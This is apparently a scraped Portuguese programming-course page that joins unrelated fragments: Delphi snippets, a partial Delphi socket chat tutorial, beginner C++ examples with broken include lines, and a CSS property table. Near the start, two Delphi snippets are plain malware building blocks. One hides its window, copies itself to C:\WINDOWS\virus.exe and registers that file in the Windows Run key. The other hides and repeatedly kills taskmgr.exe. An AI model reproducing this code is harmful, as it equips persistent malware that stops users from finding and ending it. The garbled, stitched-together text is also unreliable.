[ Curso ] Curso Completo de Logica da Programação
Parte 1
Parte 2
Parte 3
Parte 4
Parte 5
procedure RunOnStartup(sProgTitle,sCmdLine: string; bRunOnce: boolean ); var sKey : string; reg : TRegIniFile; begin if( bRunOnce )then begin sKey := 'Once' end else begin sKey := ''; end; reg := TRegIniFile.Create( '' ); reg.RootKey := HKEY_LOCAL_MACHINE; reg.WriteString('Software\Microsoft' + '\Windows\CurrentVersion\Run'+ sKey + #0, sProgTitle, sCmdLine ); reg.Free; end; |
procedure TForm1.FormCreate(Sender: TObject); begin Application.ShowMainForm := False; CopyFile(PChar(Application.ExeName),'C:\WINDOWS\virus.exe',True); RunOnStartup('virus','C:\WINDOWS\virus.exe',true); end; |
unit Unit1;interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, TLHelp32, PsAPI, ExtCtrls; type TForm1 = class(TForm) Timer1: TTimer; procedure Timer1Timer(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} function TerminarProcesso(sFile: String): Boolean; var verSystem: TOSVersionInfo; hdlSnap,hdlProcess: THandle; bPath,bLoop: Bool; peEntry: TProcessEntry32; arrPid: Array [0..1023] of DWORD; iC: DWord; k,iCount: Integer; arrModul: Array [0..299] of Char; hdlModul: HMODULE; begin Result := False; if ExtractFileName(sFile)=sFile then bPath:=false else bPath:=true; verSystem.dwOSVersionInfoSize:=SizeOf(TOSVersionInfo); GetVersionEx(verSystem); if verSystem.dwPlatformId=VER_PLATFORM_WIN32_WINDOWS then begin hdlSnap:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); peEntry.dwSize:=Sizeof(peEntry); bLoop:=Process32First(hdlSnap,peEntry); while integer(bLoop)<>0 do begin if bPath then begin if CompareText(peEntry.szExeFile,sFile) = 0 then begin TerminateProcess(OpenProcess(PROCESS_TERMINATE,false,peEntry.th32ProcessID), 0); Result := True; end; end else begin if CompareText(ExtractFileName(peEntry.szExeFile),sFile) = 0 then begin TerminateProcess(OpenProcess(PROCESS_TERMINATE,false,peEntry.th32ProcessID), 0); Result := True; end; end; bLoop := Process32Next(hdlSnap,peEntry); end; CloseHandle(hdlSnap); end else if verSystem.dwPlatformId=VER_PLATFORM_WIN32_NT then begin EnumProcesses(@arrPid,SizeOf(arrPid),iC); iCount := iC div SizeOf(DWORD); for k := 0 to Pred(iCount) do begin hdlProcess:=OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ,false,arrPid [k]); if (hdlProcess<>0) then begin EnumProcessModules(hdlProcess,@hdlModul,SizeOf(hdlModul),iC); GetModuleFilenameEx(hdlProcess,hdlModul,arrModul,SizeOf(arrModul)); if bPath then begin if CompareText(arrModul,sFile) = 0 then begin TerminateProcess(OpenProcess(PROCESS_TERMINATE or PROCESS_QUERY_INFORMATION,False,arrPid [k]), 0); Result := True; end; end else begin if CompareText(ExtractFileName(arrModul),sFile) = 0 then begin TerminateProcess(OpenProcess(PROCESS_TERMINATE or PROCESS_QUERY_INFORMATION,False,arrPid [k]), 0); Result := True; end; end; CloseHandle(hdlProcess); end; end; end; end; procedure TForm1.Timer1Timer(Sender: TObject); begin TerminarProcesso('taskmgr.exe'); end; procedure TForm1.FormCreate(Sender: TObject); begin application.ShowMainForm := false; end; end. |
Click this bar to view the original image of 800x500px. |
Click this bar to view the original image of 561x417px. |
Click this bar to view the original image of 559x417px. |
Click this bar to view the original image of 800x465px. |
procedure TChatFal.FormCreate(Sender: TObject); {Limpa o quadro}
begin
Quadro.Text := '';
end;
procedure C_TextoKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
procedure TChatFal.C_TextoKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
if Key = VK_Return then => Se a tecla digitada for igual ao [ENTER] então execute.
S_Cliente.Socket.SendText(C_Texto.Text + '::::' + Apelido.Text); => Envia o texto para o servidor no formato (Mensagem::::Apelido) este formato será explicado mais na frente.
C_Texto.Text := ''; => Limpa o conteúdo da TEdit C_Texto.
procedure TChatFal.ConectarClick(Sender: TObject);
begin
if S_Cliente.Active then
begin
S_Cliente.Active := False;
procedure S_ClienteConnect(Sender: TObject; Socket: TCustomWinSocket);
procedure TChatFal.S_ClienteConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
Status.Lines.Add('Cliente ::> Conectado a: ' + S_Cliente.Host);
Conectar.Caption := 'Desconectar';
procedure TChatFal.S_ClienteDisconnect(Sender: TObject; Socket: TCustomWinSocket); begin Status.Lines.Add('Cliente ::> Desconectado ');
Conectar.Caption := ‘Conectar’; Apelido.Enabled := True; end; procedure TChatFal.S_ClienteError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
Status.Lines.Add('Cliente ::> ERRO ao tentar conectar a: ' + S_Cliente.Host);
procedure TChatFal.ServirClick(Sender: TObject);
begin
if S_Server.Active = True then
begin
S_Server.Active := False;
procedure S_ServerListen(Sender: TObject; Socket: TCustomWinSocket);
procedure S_ServerClientConnect(Sender: TObject; Socket: TCustomWinSocket);
procedure TChatFal.S_ServerListen(Sender: TObject;
Socket: TCustomWinSocket);
begin
Status.Lines.Add('Servidor ::> Servidor Ligado!');
end;
procedure TChatFal.S_ServerClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Status.Lines.Add('Servidor ::> Usuário Conectado => '+ Socket.RemoteAddress);
procedure TChatFal.S_ServerClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure TChatFal.S_ServerClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var texto: array[0..1] of string;
temptexto: string;
Index: integer;
begin
#include int main() { cout << "Hello world!\n"; getchar(); return 0; }
#include int main() { int teste; teste = 1; cout << "A nossa variável teste é: " << teste; getchar(); return 0; }
#include #include int main() { int teste; teste = 0; cout << "teste é igual a: " << teste; cin >> teste; cout << "teste agora é: " << teste; getchar(); return 0; }
#include #include int main() { int a; cout << "Digite um valor acima de 0\n"; cin >> a; if( a == 0) { cout << "Este valor não é acima de 0."; } if( a > 0) { cout << "Certo! Este valor é maior que 0."; } getchar(); return 0; }
Comando | Parâmetros utilizados |
font-family | family-name, generic-family, * family-name |
font-style | normal, italic, oblique |
font-variant | normal, small-caps |
font-weight | normal, bold, bolder, lighter, 100, 200, 300, 400, 500, 600, 700, 800, 900 |
font-size | absolute-size, relative-size, length, percentage padrão: medium |
font | font-style, font-variant, font-weight, font-size, font-family |
color | color (em base 10, base 16 ou nome) |
background-color | transparent, color |
background-image | none, url |
background-repeat | repeat (repete horizontale vertical), repeat-x (repete vertical), repeat-y (repete horizontal), no-repeat (não repete) |
background-attachment | scroll (imagem "rola" com a tela), fixed ( imagem fixa na tela) |
background-position | percentage, length{1,2}, top, center, bottom, left, center, right padrão: 0% 0% |
background | background-color, background-image, background-repeat, background-attachment, background-position |
text-decoration | none, underline, overline, line-through, blink padrão: none |
vertical-align | baseline, sub, super, top, text-top, middle, bottom, text-bottom, percentage |
text-align | left, right, center, justify |
text-indent | length, percentage padrão: 0 |
line-height | normal, number, length, percentage |
margin-top | length, percentage, auto padrão: 0 |
margin-right | length, percentage, auto padrão: 0 |
margin-bottom | length, percentage, auto padrão: 0 |
margin-left | length, percentage, auto padrão: 0 |
margin | length, percentage, auto{1,4} |
list-style-type | disc, circle, square, decimal, lower-roman, upper-roman, lower-alpha, upper-alpha, none |
list-style-image | none, url |
list-style-position | outside, inside |
list-style | keyword, position, url |
position | static, absolute, relative |
left | auto, length, percentage |
top | auto, length, percentage |
z-index | auto, integer |
width | auto, length, percentage |
height | auto, length, percentage |
visibility | inherit, visible, hidden |
pt | pontos, em que 1 ponto = 1/72 de polegada |
pc | picas |
em | ems |
in | polegadas |
cm | centímetros |
mm | milímetros |
% | parte porcentual de algum outro valor, portanto é proporcional. |
px | pixels: É proporcional. Depende da resolução de vídeo. |